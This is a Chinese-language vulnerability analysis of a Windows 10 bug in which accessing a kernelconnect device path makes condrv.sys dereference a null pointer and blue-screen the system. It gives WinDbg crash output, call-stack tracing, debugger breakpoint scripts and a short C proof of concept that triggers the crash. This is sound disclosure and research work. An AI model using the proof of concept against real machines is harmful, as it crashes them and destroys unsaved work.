简介
在win10中,访问*\kernelconnect
时,会触发BSOD
漏洞分析
挂上windbg,触发漏洞,会得到以下信息
崩溃触发在condrv.sys
模块的condrv!CdpDispatchCleanup
函数中,触发异常为c0000005
内存访问异常,这里是因为访问了地址为0的内存
BUGCHECK_CODE: 3b
BUGCHECK_P1: c0000005
BUGCHECK_P2: fffff8046aacaf6f
BUGCHECK_P3: ffffbc85eb32e860
BUGCHECK_P4: 0
CONTEXT: ffffbc85eb32e860 -- (.cxr 0xffffbc85eb32e860)
rax=ffffc5878d7ddd08 rbx=ffffc58789b66c30 rcx=0000000000000000
rdx=ffffc5878d7ddbf0 rsi=0000000000000000 rdi=ffffc5878d7ddbf0
rip=fffff8046aacaf6f rsp=ffffbc85eb32f260 rbp=0000000000000000
r8=ffffc5878d7ddbf0 r9=ffffc587842d8e20 r10=fffff8046aacaf50
r11=0000000000000000 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=ffffc587842d8e20
iopl=0 nv up ei ng nz na po nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00050286
condrv!CdpDispatchCleanup+0x1f:
fffff804`6aacaf6f 488b01 mov rax,qword ptr [rcx] ds:002b:00000000`00000000=????????????????
Resetting default scope
PROCESS_NAME: explorer.exe
查看调用栈,如下:
定位到condrv!CdpDispatchCleanup
函数,可以看到参数a2
为IRP *
,通过参数a2
取得当前IRP栈上的文件对象,再取得该文件对象的FsContext
字段给v3
,后续在v3
解引用时,触发了访问异常
紧接着栈回溯向上找nt!IofCallDriver
函数,此函数直接向设备对象发送IRP请求,如下:
接着再网上nt!IopCloseFile
,可发现其将传入参数a2
设置给文件对象,后续就调用了nt!IofCallDriver
,观察发现,此函数内没有对a2->FsContext
字段进行判空检查
此处动态调试一下,在调用栈上可以看到一个kernelbase!GetFileAttributesW
函数,
附加到explorer.exe
上,在此函数上下条件断点,过滤第一个参数路径:bp kernelbase!GetFileAttributesW "$$<G:\cmp.txt"
$$ G:\cmp.txt
as /mu ${/v:name} @rcx
.if ($spat(@"${name}", "*kernelconnect") == 0) {gc} .else {du rcx}
然后再对nt!IopCloseFile+0x14b
下断点,断下后查看rbx
的值,这里的rbx对照反汇编源码即为参数a2
接下来再对condrv!CdpDispatchCleanup+0xe
下断点,查看[rax+0x30]
的值
结果跟静态分析的一致
根据调试的结果来看,此漏洞在R3上是由kernelbase!GetFileAttributesW
触发,那么理论上讲只要调用了GetFileAttributesW
传入*kernelconnect
就能触发BSOD,所以写个代码验证下
#include <Windows.h>
int main(void)
{
WIN32_FILE_ATTRIBUTE_DATA data;
GetFileAttributesExW(L"*\kernelconnect", GetFileExInfoStandard, &data);
system("pause");
return 0;
}
实验结果来看,确实可以,此漏洞跟浏览器啥的没关系
补充
根据深信服的通报,此漏洞在创建初始化对象时就埋下了隐患,详情:深信服EDR快速响应支持防护Windows condrv.sys内存损坏漏洞